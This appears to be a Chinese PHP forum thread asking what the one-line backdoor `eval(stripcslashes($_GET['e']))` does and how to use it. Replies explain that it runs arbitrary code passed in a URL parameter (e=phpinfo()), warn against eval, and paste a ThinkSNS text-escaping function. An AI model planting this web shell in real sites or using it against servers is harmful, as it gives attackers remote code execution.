<? eval(stripcslashes($_GET['e']));?> 这句代码到底有什么害处   还有怎样使用这句代码  

解决方案 »

  1.   

    可以执行很多代码....害处要看代码是什么代码.
    传递一个 e=xxxxxxx 必要的地方加反斜杠
      

  2.   

    浏览器地址后加个参数http://www.abc.com?e=...
    后面可以加任何函数或字串e=phpinfo()
      

  3.   

    这都是最常见的php漏洞,建议你看看这个。
    http://www.2cto.com/Article/200911/43018.html
      

  4.   

    eval 不要乱用,其实是最好不要用。
      

  5.   

    /**
     * 转换为安全的纯文本
     *
     * @param string  $text
     * @param boolean $parse_br    是否转换换行符
     * @param int     $quote_style ENT_NOQUOTES:(默认)不过滤单引号和双引号 ENT_QUOTES:过滤单引号和双引号 ENT_COMPAT:过滤双引号,而不过滤单引号
     * @return string|null string:被转换的字符串 null:参数错误
     */
    function t($text, $parse_br = false, $quote_style = ENT_NOQUOTES)
    {
    if (is_numeric($text))
    $text = (string)$text; if (!is_string($text))
    return null; if (!$parse_br) {
    $text = str_replace(array("\r","\n","\t"), ' ', $text);
    } else {
    $text = nl2br($text);
    } //$text = stripslashes($text);
    $text = htmlspecialchars($text, $quote_style, 'UTF-8'); return $text;
    }  thinksns过滤的